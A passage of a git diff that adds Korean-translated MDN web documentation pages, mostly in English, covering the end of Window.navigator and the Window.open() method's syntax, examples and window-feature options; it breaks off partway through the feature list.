+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-navigator', 'Window: navigator')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.navigator")}}</p>
diff --git a/files/ko/web/api/window/open/index.html b/files/ko/web/api/window/open/index.html
new file mode 100644
index 0000000000..eefa823c08
--- /dev/null
+++ b/files/ko/web/api/window/open/index.html
@@ -0,0 +1,665 @@
+---
+title: Window.open()
+slug: Web/API/Window/open
+translation_of: Web/API/Window/open
+---
+<div>{{APIRef}}</div>
+
+<p> {{domxref("Window")}} 인터페이스인 <strong><code>open()</code></strong> 메써드는 명시된 리소스를 명시된 이름으로 브라우징 컨텍스트(윈도우, {{HTMLElement("iframe")}} 또는 탭)에 로드한다. 이름이 없다면 새 윈도우가 열리고 이 윈도우의 브라우징 컨텍스트에 명시된 리소스가 열린다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>var <em>window</em> = window.open(<em>url</em>, <em>windowName</em>, [<var>windowFeatures</var>]);</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>A {{domxref("DOMString")}} indicating the URL of the resource to be loaded. This can be a path or URL to an HTML page, image file, or any other resource which is supported by the browser. If the empty string ("") is specified as <code>url</code>, a blank page is opened into the targeted browsing context.</dd>
+ <dt><code>windowName</code></dt>
+ <dd>A {{domxref("DOMString")}} specifying the name of the browsing context (window, {{HTMLElement("iframe")}} or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by <code>windowName</code>. This name can then be used as the target of links and forms by specifying it as the <code>target</code> attribute of {{HTMLElement("a")}} or {{HTMLElement("form")}} elements. The name should not contain whitespace. Keep in mind that this will <em>not</em> be used as the window's displayed title.<br>
+ If the string is empty, the browser will create a new window every time (this behaviour doesn't work when the string is replaced with NULL).</dd>
+ <dt><code>windowFeatures</code> {{optional_inline}}</dt>
+ <dd>A {{domxref("DOMString")}} containing a comma-separated list of window features given with their corresponding values in the form "name=value". These features include options such as the window's default size and position, whether or not to include scroll bars, and so forth. There must be no whitespace in the string. See {{anch("Window features")}} below for documentation of each of the features that can be specified.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{domxref("Window")}} object representing to the newly created window. If the window couldn't be opened, the returned value is instead <code>null</code>. The returned <code>Window</code> reference can be used to access properties and methods of the new window as long as it complies with <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a> security requirements.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>The <code>open()</code> method creates a new secondary browser window, similar to choosing New Window from the File menu. The <code>strUrl</code> parameter specifies the URL to be fetched and loaded in the new window. If <code>strUrl</code> is an empty string, then a new blank, empty window (URL <code>about:blank</code>) is created with the default toolbars of the main window.</p>
+
+<p>Note that remote URLs won't load immediately. When <code>window.open()</code> returns, the window always contains <code>about:blank</code>. The actual fetching of the URL is deferred and starts after the current script block finishes executing. The window creation and the loading of the referenced resource are done asynchronously.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush:js">var windowObjectReference;
+var strWindowFeatures = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes";
+
+function openRequestedPopup() {
+ windowObjectReference = window.open("http://www.cnn.com/", "CNN_WindowName", strWindowFeatures);
+}</pre>
+
+<pre class="brush:js">var windowObjectReference;
+
+function openRequestedPopup() {
+ windowObjectReference = window.open(
+ "http://www.domainname.ext/path/ImageFile.png",
+ "DescriptiveWindowName",
+ "resizable,scrollbars,status"
+ );
+}</pre>
+
+<p>If a window with the name already exists, then <code>strUrl</code> is loaded into the <em>existing</em> window. In this case the return value of the method is the existing window and <code>strWindowFeatures</code> is ignored. Providing an empty string for <code>strUrl</code> is a way to get a reference to an open window by its name without changing the window's location. To open a <em>new</em> window on every call of <code>window.open()</code>, use the special value <code>_blank</code> for <code>strWindowName</code>.</p>
+
+<div class="note">
+<p><a href="#Note_on_use_of_window_open" id="Note_on_use_of_window_open">Note on the use of window.open to reopen an existing window</a> with name <code>strWindowName</code> : This functionality is not valid for all browsers and more with variable conditions. Firefox (50.0.1) functions as described: from the same domain+port reopen with same name will access the previously created window. Google Chrome (55.0.2883.87 m ) on the other hand will do it only from the same parent (as if the window was created dependent, which is the "opener"). This is a wide limitation and generates unbelievable complexity of development. Firefox (51.) gets the handle but cannot run any Element.focus() while Chrome can run focus() from opener to child but not between siblings nor, reverse, from child to opener. This function is the lonely key to get back the handle on a window if the developer has access only to its name (the name can be saved with cookies or local storage but not the window object handle). For now 10/01/2017 the differencies of behavior found recently have not still been tested for others Browsers.  </p>
+</div>
+
+<h2 id="Window_features">Window features</h2>
+
+<p><code>strWindowFeatures</code> is an optional string containing a comma-separated list of requested features of the new window. After a window is opened, JavaScript can't be used to change the features. If <code>strWindowName</code> does not specify an existing window and the <code>strWindowFeatures</code> parameter is not provided (or if the <code>strWindowFeatures</code> parameter is an empty string), then the new secondary window will render the default toolbars of the main window.</p>
+
+<p>If the <code>strWindowFeatures</code> parameter is used and no size features are defined, then the new window dimensions will be the same as the dimensions of the most recently rendered window.</p>
+
+<p>If the <code>strWindowFeatures</code> parameter is used and if no position features are defined, then the left and top coordinates of the new window dimension will be 22 pixels from where the most recently rendered window was. An offset is universally implemented by browser manufacturers (it is 29 pixels in IE6 SP2 with the default theme) and its purpose is to help users to notice new windows opening. If the most recently used window was maximized, then there is no offset: the new window will be maximized as well.</p>
+
+<p><strong>If the <code>strWindowFeatures</code> parameter is used, the features that are not listed will be disabled or removed</strong> (except <code>titlebar</code> and <code>close</code>, which are by default <code>yes</code>).</p>
+
+<div class="note">
+<p><strong>Tip</strong>: If using the <code>strWindowFeatures</code> parameter, only list the features to be enabled or rendered; the others (except <code>titlebar</code> and <code>close</code>) will be disabled or removed. Note that in some browsers, users can override the <code>strWindowFeatures</code> settings and enable (or prevent the disabling of) features.</p>
+</div>
+
+<p><img alt="Firefox Toolbars Illustration" src="/@api/deki/files/210/=FirefoxChromeToolbarsDescription7a.gif" style="display: block; margin: 0px auto;"></p>
+
+<h3 id="Position_and_size_features">Position and size features</h3>
+
+<div>{{gecko_minversion_note("1.9.2", "Starting in Gecko 1.9.2 (Firefox 3.6), overriding the position of a window using window features will not change the persisted values saved by the session store feature. That means the next time the window is opened, it will still open in the saved location.")}}</div>
+
+<p><a href="#Note_on_position_and_dimension_error_correction">Note on position and dimension error correction</a></p>
+
+<div class="bug">{{bug(176320)}}</div>
+
+<p><a href="#Note_on_precedence">Note on precedence</a></p>
+
+<dl>
+ <dt id="left">left</dt>
+ <dd>Specifies the distance the new window is placed from the left side of the work area for applications of the user's operating system to the leftmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
+ <dt id="top">top</dt>
+ <dd>Specifies the distance the new window is placed from the top side of the work area for applications of the user's operating system to the topmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
+ <dt id="height">height</dt>
+ <dd>Specifies the height of the content area, viewing area of the new secondary window in pixels. The height value includes the height of the horizontal scrollbar if present. The minimum required value is 100.</dd>
+ <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
+ <dt id="width">width</dt>
+ <dd>Specifies the width of the content area, viewing area of the new secondary window in pixels. The width value includes the width of the vertical scrollbar if present. The width value does not include the sidebar if it is expanded. The minimum required value is 100.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
+ <dt>screenX</dt>
+ <dd>Deprecated. Same as <a href="#left">left</a> but only supported by Netscape and Mozilla-based browsers.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>screenY</dt>
+ <dd>Deprecated. Same as <a href="#topS">top</a> but only supported by Netscape and Mozilla-based browsers.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>centerscreen</dt>
+ <dd>Centers the window in relation to its parent's size and position. Requires chrome=yes.</dd>
+ <dt>outerHeight</dt>
+ <dd>Specifies the height of the whole browser window in pixels. This outerHeight value includes any/all present toolbar, window horizontal scrollbar (if present) and top and bottom window resizing borders. Minimal required value is 100.</dd>
+ <dd><strong>Note</strong>: since titlebar is always rendered, then requesting outerHeight=100 will make the innerHeight of the browser window under the minimal 100 pixels.</dd>
+ <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>outerWidth</dt>
+ <dd>Specifies the width of the whole browser window in pixels. This outerWidth value includes the window vertical scrollbar (if present) and left and right window resizing borders.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>innerHeight</dt>
+ <dd>Same as <a href="#height">height</a> but only supported by Netscape and Mozilla-based browsers. Specifies the height of the content area, viewing area of the new secondary window in pixels. The <var>innerHeight</var> value includes the height of the horizontal scrollbar if present. Minimal required value is 100.</dd>
+ <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>innerWidth</dt>
+ <dd>Same as <a href="#width">width</a> but only supported by Netscape and Mozilla-based browsers. Specifies the width of the content area, viewing area of the new secondary window in pixels. The innerWidth value includes the width of the vertical scrollbar if present. The innerWidth value does not include the sidebar if it is expanded. Minimal required value is 100.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+</dl>
+
+<h3 id="Toolbar_and_chrome_features">Toolbar and chrome features</h3>
+
+<dl>
+ <dt>NOTE: All features can be set to <var>yes</var> or <var>1</var>, or just be present to be "on". Set them to <var>no</var> or <var>0</var>, or in most cases just omit them, to be "off".</dt>
+ <dd>Example: "status=yes", "status=1", and "status" have identical results.</dd>
+ <dt>menubar</dt>
+ <dd>If this feature is on, then the new secondary window renders the menubar.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the menubar by setting <code>dom.disable_window_open_feature.menubar</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>toolbar</dt>
+ <dd>If this feature is on, then the new secondary window renders the Navigation Toolbar (Back, Forward, Reload, Stop buttons). In addition to the Navigation Toolbar, Mozilla-based browsers will render the Tab Bar if it is visible, present in the parent window. (If this feature is set to <var>no</var> all toolbars in the window will be invisible, for example extension toolbars).</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the Navigation Toolbar by setting <code>dom.disable_window_open_feature.toolbar</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>location</dt>
+ <dd>If this feature is on, then the new secondary window renders the Location bar in Mozilla-based browsers. MSIE 5+ and Opera 7.x renders the Address Bar.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the location bar by setting <code>dom.disable_window_open_feature.location</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>. {{Fx_minversion_note(3, "In Firefox 3, <code>dom.disable_window_open_feature.location</code> now defaults to <var>true</var>, forcing the presence of the Location Bar much like in IE7. See bug 337344 for more information.")}}</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
+ <dt>personalbar</dt>
+ <dd>If this feature is on, then the new secondary window renders the Personal Toolbar in Netscape 6.x, Netscape 7.x and Mozilla browser. It renders the Bookmarks Toolbar in Firefox. In addition to the Personal Toolbar, Mozilla browser will render the Site Navigation Bar if such toolbar is visible, present in the parent window.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the Personal Toolbar/Bookmarks toolbar by setting <code>dom.disable_window_open_feature.personalbar</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>directories {{obsolete_inline("2")}}</dt>
+ <dd>Obsolete synonym of personalbar. In IE, it rendered the Links bar. Supported in Gecko up to 1.9.2 and in IE up to 6.</dd>
+ <dt>status</dt>
+ <dd>If this feature is on, then the new secondary window has a status bar. Users can force the rendering of status bar in all Mozilla-based browsers, in MSIE 6 SP2 (<a href="#Note_on_security_issues_of_the_status_bar_presence">Note on status bar in XP SP2</a>) and in Opera 6+. The default preference setting in recent Mozilla-based browser releases and in Firefox 1.0 is to force the presence of the status bar.</dd>
+ <dd><a href="#Note_on_status_bar">Note on status bar</a></dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+</dl>
+
+<h3 id="Window_functionality_features">Window functionality features</h3>
+
+<dl>
+ <dt>attention {{NonStandardBadge}}</dt>
+ <dd>If this feature is specified, the window is able to open even if another application is already in the foreground. This feature is for Firefox OS applications only, and is currently restricted to certified applications. See {{SectionOnPage("/en-US/docs/Archive/B2G_OS/Firefox_OS_apps/App_permissions", "Internal (Certified) app permissions")}} for more information.</dd>
+ <dd>Supported in: <img alt="" src="https://mdn.mozillademos.org/files/8003/firefox_os_logo_wordmark-75px.png" style="height: 25px; width: 83px;"></dd>
+ <dt>dependent</dt>
+ <dd>If on, the new window is said to be dependent of its parent window. A dependent window closes when its parent window closes. A dependent window is minimized on the Windows task bar only when its parent window is minimized. On Windows platforms, a dependent window does not show on the task bar. A dependent window also stays in front of the parent window.</dd>
+ <dd>Dependent windows are not implemented on MacOS X, this option will be ignored.</dd>
+ <dd>The dependent feature is currently under revision to be removed ({{Bug(214867)}})</dd>
+ <dd>In MSIE 6, the nearest equivalent to this feature is the <code>showModelessDialog()</code> method.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>minimizable</dt>
+ <dd>This setting can only apply to dialog windows; "minimizable" requires <code>dialog=yes</code>. If <code>minimizable</code> is on, the new dialog window will have a minimize system command icon in the titlebar and it will be minimizable. Any non-dialog window is always minimizable and <code>minimizable=no</code> will be ignored.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>fullscreen</dt>
+ <dd>Do not use. Not implemented in Mozilla. There are no plans to implement this feature in Mozilla.</dd>
+ <dd>This feature no longer works in MSIE 6 SP2 the way it worked in MSIE 5.x. The Windows taskbar, as well as the titlebar and the status bar of the window are not visible, nor accessible when fullscreen is enabled in MSIE 5.x.</dd>
+ <dd><code>fullscreen</code> always upsets users with large monitor screen or with dual monitor screen. Forcing <code>fullscreen</code> onto other users is also extremely unpopular and is considered an outright rude attempt to impose web author's viewing preferences onto users.</dd>
+ <dd><a href="#Note_on_fullscreen">Note on fullscreen</a></dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png"></dd>
+ <dd><code>fullscreen</code> does not really work in MSIE 6 SP2.</dd>
+ <dt><a id="noopener" name="noopener">noopener</a></dt>
+ <dd>If this feature is set, the newly-opened window will open as normal, except that it will not have access back to the originating window (via {{domxref("Window.opener")}} — it returns <code>null</code>). In addition, the <code>window.open()</code> call will also return <code>null</code>, so the originating window will not have access to the new one either.  This is useful for preventing untrusted sites opened via <code>window.open()</code> from tampering with the originating window, and vice versa.</dd>
+ <dd>Note that when <code>noopener</code> is used, nonempty target names other than <code>_top</code>, <code>_self</code>, and <code>_parent</code> are all treated like <code>_blank</code> in terms of deciding whether to open a new window/tab.<br>
+ <br>
+ This is supported in modern browsers including Chrome, and Firefox 52+. See <code><a href="/en-US/docs/Web/HTML/Link_types#noopener">rel="noopener"</a></code> for more information and for browser compatibility details, including information about ancillary effects.</dd>
+ <dt>resizable</dt>
+ <dd>If this feature is on, the new secondary window will be resizable.</dd>
+ <dd><strong>Note</strong>: Starting with version 1.4, Mozilla-based browsers have a window resizing grippy at the right end of the status bar, this ensures that users can resize the browser window even if the web author requested this secondary window to be non-resizable. In such case, the maximize/restore icon in the window's titlebar will be disabled and the window's borders won't allow resizing but the window will still be resizable via that grippy in the status bar.
+ <p>Starting with Firefox 3, secondary windows are always resizable ({{Bug(177838)}})</p>
+
+ <div class="note">
+ <p><strong>Tip</strong>: For accessibility reasons, it is strongly recommended to set this feature always on</p>
+ </div>
+ </dd>
+ <dd>Mozilla and Firefox users can force new windows to be easily resizable by setting <code>dom.disable_window_open_feature.resizable</code> to <code><var>true</var></code> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>scrollbars</dt>
+ <dd>If this feature is on, the new secondary window will show horizontal and/or vertical scrollbar(s) if the document doesn't fit into the window's viewport.
+ <div class="note">
+ <p><strong>Tip</strong>: For accessibility reasons, it is strongly encouraged to set this feature always on.</p>
+ </div>
+ </dd>
+ <dd>Mozilla and Firefox users can force this option to be always enabled for new windows by setting {{pref("dom.disable_window_open_feature.scrollbars")}} to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>. <strong>Starting in Firefox 49, this feature is on by default, and the {{pref("dom.disable_window_open_feature.scrollbars")}} preference has been removed.</strong></dd>
+ <dd><a href="#Note_on_scrollbars">Note on scrollbars</a></dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+</dl>
+
+<h3 id="Features_requiring_privileges">Features requiring privileges</h3>
+
+<p>The following features require the <code>UniversalBrowserWrite</code> privilege, otherwise they will be ignored. Chrome scripts have this privilege automatically, others have to request it from the PrivilegeManager.</p>
+
+<dl>
+ <dt>chrome</dt>
+ <dd><strong>Note</strong>: Starting with Mozilla 1.7/Firefox 0.9, this feature requires the <code>UniversalBrowserWrite</code> privilege ({{Bug(244965)}}). Without this privilege, it is ignored.</dd>
+ <dd>If on, the page is loaded as window's only content, without any of the browser's interface elements. There will be no context menu defined by default and none of the standard keyboard shortcuts will work. The page is supposed to provide a user interface of its own, usually this feature is used to open XUL documents (standard dialogs like the JavaScript Console are opened this way).</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>dialog</dt>
+ <dd><strong>Note</strong>: Starting with Firefox 44, this feature can only be used with chrome privileges. If content attempts to toggle this feature, it will be ignored.</dd>
+ <dd><a href="/@api/deki/files/268/=MenuSystemCommands.png" title="MenuSystemCommands.png"><img alt="MenuSystemCommands.png" class="internal lwrap" src="/@api/deki/files/268/=MenuSystemCommands.png?size=webview" style="float: left; height: 170px; width: 170px;"> </a> The <code>dialog</code> feature removes all icons (restore, minimize, maximize) from the window's titlebar, leaving only the close button. Mozilla 1.2+ and Netscape 7.1 will render the other menu system commands (in FF 1.0 and in NS 7.0x, the command system menu is not identified with the Firefox/NS 7.0x icon on the left end of the titlebar: that's probably a bug. You can access the command system menu with a right-click on the titlebar). Dialog windows are windows which have no minimize system command icon and no maximize/restore down system command icon on the titlebar nor in correspondent menu item in the command system menu. They are said to be dialog because their normal, usual purpose is to only notify info and to be dismissed, closed. On Mac systems, dialog windows have a different window border and they may get turned into a sheet.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>modal</dt>
+ <dd><strong>Note</strong>: Starting with Mozilla 1.2.1, this feature requires the <code>UniversalBrowserWrite</code> privilege ({{Bug(180048)}}). Without this privilege, it is ignored.</dd>
+ <dd>If on, the new window is said to be modal. The user cannot return to the main window until the modal window is closed. A typical modal window is created by the <a href="/en-US/docs/DOM/window.alert" title="DOM/window.alert">alert() function</a>.</dd>
+ <dd>The exact behavior of modal windows depends on the platform and on the Mozilla release version.
+ <div class="note">
+ <p><strong>Note:</strong> As of {{Gecko("1.9")}}, the Internet Explorer equivalent to this feature is the {{domxref("window.showModalDialog()")}} method. For compatibility reasons, it's now supported in Firefox. Note also that starting in {{Gecko("2.0")}}, you can use {{domxref("window.showModalDialog()")}} without UniversalBrowserWrite privileges.</p>
+ </div>
+ </dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>titlebar</dt>
+ <dd>By default, all new secondary windows have a titlebar. If set to <var>no or 0</var>, this feature removes the titlebar from the new secondary window.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the titlebar by setting<br>
+ <code>dom.disable_window_open_feature.titlebar</code><br>
+ to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>alwaysRaised</dt>
+ <dd>If on, the new window will always be displayed on top of other browser windows, regardless of whether it is active or not.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>alwaysLowered</dt>
